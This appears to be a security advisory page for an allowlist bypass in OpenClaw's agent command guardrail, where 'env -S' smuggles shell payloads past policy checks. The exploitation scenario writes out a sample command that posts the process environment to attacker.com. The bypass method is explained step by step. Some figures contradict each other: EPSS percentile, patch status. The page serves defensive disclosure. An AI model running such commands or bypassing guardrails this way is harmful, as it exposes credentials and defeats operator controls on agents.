CVE-2026-31992: OpenClaw guardrail allowlist bypass

CISO Take

OpenClaw versions prior to 2026.2.23 have a flaw in the system.run guardrail mechanism where allowlisting /usr/bin/env — a common operational necessity — lets any authenticated operator invoke env -S to smuggle arbitrary shell payloads past the policy analysis engine, bypassing the intended security control entirely. At CVSS 7.1 with network access, low complexity, and no user interaction required, this is a low-barrier exploit for any credentialed operator; EPSS places it in the top 74th percentile for exploitation likelihood, and with 396 historical CVEs in this package the attack surface is well-understood by researchers. No public exploit or CISA KEV listing yet, but the technique requires no AI/ML expertise — any operator with basic shell knowledge can abuse it. Patch to 2026.2.23 immediately; as an interim measure, remove /usr/bin/env from all system.run allowlists and audit for other env-wrapper binaries such as /usr/bin/env3 or similar.

Sources: NVD EPSS GitHub Advisory ATLAS VulnCheck

What is the risk?

High risk for organizations running OpenClaw-based AI agent pipelines with system.run guardrails enabled. The allowlist bypass is trivial once the technique is known — env -S is a standard POSIX feature, not a novel exploit primitive. Low privileges required means any authenticated operator account (including service accounts or compromised credentials) is a viable attack vector. AI agent frameworks typically run with elevated system permissions to perform agentic tasks, so arbitrary command execution within the agent process often translates to significant lateral movement potential. The 396 prior CVEs in this package suggests a historically poor security posture; organizations should evaluate whether OpenClaw's security track record meets their risk tolerance for production agentic deployments.

How does the attack unfold?

Initial Access

Adversary authenticates as a low-privilege operator via OpenClaw's API or management interface using valid credentials obtained through phishing, credential stuffing, or compromised service accounts.

AML.T0012

Guardrail Bypass

Adversary crafts a system.run invocation using /usr/bin/env with the -S flag to embed a shell payload; the policy analysis engine approves the call because /usr/bin/env is allowlisted, without inspecting the -S argument chain.

AML.T0107

Command Execution

At runtime, env interprets -S and executes the embedded shell command with the full permissions of the OpenClaw agent process, including access to environment variables, credentials, and internal network resources.

AML.T0050

Impact

Adversary exfiltrates credentials from the agent's environment, pivots to cloud infrastructure or connected AI services, or manipulates the agent's operational context to persist access or cause downstream harm.

AML.T0086

Initial Access

Adversary authenticates as a low-privilege operator via OpenClaw's API or management interface using valid credentials obtained through phishing, credential stuffing, or compromised service accounts.

AML.T0012

Guardrail Bypass

Adversary crafts a system.run invocation using /usr/bin/env with the -S flag to embed a shell payload; the policy analysis engine approves the call because /usr/bin/env is allowlisted, without inspecting the -S argument chain.

AML.T0107

Command Execution

At runtime, env interprets -S and executes the embedded shell command with the full permissions of the OpenClaw agent process, including access to environment variables, credentials, and internal network resources.

AML.T0050

Impact

Adversary exfiltrates credentials from the agent's environment, pivots to cloud infrastructure or connected AI services, or manipulates the agent's operational context to persist access or cause downstream harm.

AML.T0086

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
OpenClaw	pip	—	No patch
4 dependents 37% patched ~3d to patch Full package profile →

Do you use OpenClaw? You're affected.

How severe is it?

CVSS 3.1

7.1 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 26% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Unchanged

C None

I High

A Low

What should I do?

1 step

1) Patch to OpenClaw 2026.2.23 or later using the commits a1c4bf07 and 3f923e83 as reference for scope. 2) Immediate workaround if patching is blocked: remove /usr/bin/env from all system.run allowlists; review the full allowlist for other interpreter or wrapper binaries (python, bash, sh, perl, ruby) that accept flag-based argument injection. 3) Audit system.run call logs for historical env -S patterns — search for the string '-S' in command arguments logged by OpenClaw. 4) Scope blast radius by reviewing what system permissions the OpenClaw process runs with and which credentials are present in its environment; rotate any secrets that may have been accessible. 5) If OpenClaw is exposed via an API or multi-tenant interface, treat any operator-level session token issued before patching as potentially compromised.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Code Execution Agent Framework AML.T0012 - Valid Accounts AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0107 - Exploitation for Defense Evasion

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system

ISO 42001

A.6.1.5 - AI risk management — operational controls

NIST AI RMF

MANAGE 2.2 - Mechanisms are in place and applied to protect the AI system

OWASP LLM Top 10

LLM07 - Insecure Plugin Design LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-31992?

OpenClaw versions prior to 2026.2.23 have a flaw in the system.run guardrail mechanism where allowlisting /usr/bin/env — a common operational necessity — lets any authenticated operator invoke env -S to smuggle arbitrary shell payloads past the policy analysis engine, bypassing the intended security control entirely. At CVSS 7.1 with network access, low complexity, and no user interaction required, this is a low-barrier exploit for any credentialed operator; EPSS places it in the top 74th percentile for exploitation likelihood, and with 396 historical CVEs in this package the attack surface is well-understood by researchers. No public exploit or CISA KEV listing yet, but the technique requires no AI/ML expertise — any operator with basic shell knowledge can abuse it. Patch to 2026.2.23 immediately; as an interim measure, remove /usr/bin/env from all system.run allowlists and audit for other env-wrapper binaries such as /usr/bin/env3 or similar.

Is CVE-2026-31992 actively exploited?

No confirmed active exploitation of CVE-2026-31992 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-31992?

1) Patch to OpenClaw 2026.2.23 or later using the commits a1c4bf07 and 3f923e83 as reference for scope. 2) Immediate workaround if patching is blocked: remove /usr/bin/env from all system.run allowlists; review the full allowlist for other interpreter or wrapper binaries (python, bash, sh, perl, ruby) that accept flag-based argument injection. 3) Audit system.run call logs for historical env -S patterns — search for the string '-S' in command arguments logged by OpenClaw. 4) Scope blast radius by reviewing what system permissions the OpenClaw process runs with and which credentials are present in its environment; rotate any secrets that may have been accessible. 5) If OpenClaw is exposed via an API or multi-tenant interface, treat any operator-level session token issued before patching as potentially compromised.

What systems are affected by CVE-2026-31992?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI orchestration platforms, automated task execution pipelines, multi-tenant AI agent deployments.

What is the CVSS score for CVE-2026-31992?

CVE-2026-31992 has a CVSS v3.1 base score of 7.1 (HIGH). The EPSS exploitation probability is 0.34%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI orchestration platformsautomated task execution pipelinesmulti-tenant AI agent deployments

MITRE ATLAS Techniques

AML.T0012 Valid Accounts

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 15, Article 9

ISO 42001: A.6.1.5

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM07, LLM08

What are the technical details?

Original Advisory

OpenClaw versions prior to 2026.2.23 contain an allowlist bypass vulnerability in system.run guardrails that allows authenticated operators to execute unintended commands. When /usr/bin/env is allowlisted, attackers can use env -S to bypass policy analysis and execute shell wrapper payloads at runtime.

Exploitation Scenario

An adversary obtains low-privilege operator credentials — through credential stuffing, phishing, or a compromised service account — for an OpenClaw deployment where the security team allowlisted /usr/bin/env to support legitimate tooling. The attacker sends a crafted system.run invocation: env -S 'bash -c "curl http://attacker.com/exfil -d @/proc/self/environ"'. The guardrail policy engine evaluates the call against the allowlist, sees /usr/bin/env as permitted, and passes it through without analyzing the -S flag payload. At runtime, env interprets -S as a directive to parse the remainder as a full command string, executing the embedded bash payload. The agent process — likely running with cloud credentials and internal network access — now functions as a beachhead for credential harvesting and lateral movement across the AI infrastructure.

Weaknesses (CWE)

CWE-184 Incomplete List of Disallowed Inputs

CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

[Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Source: MITRE CWE corpus.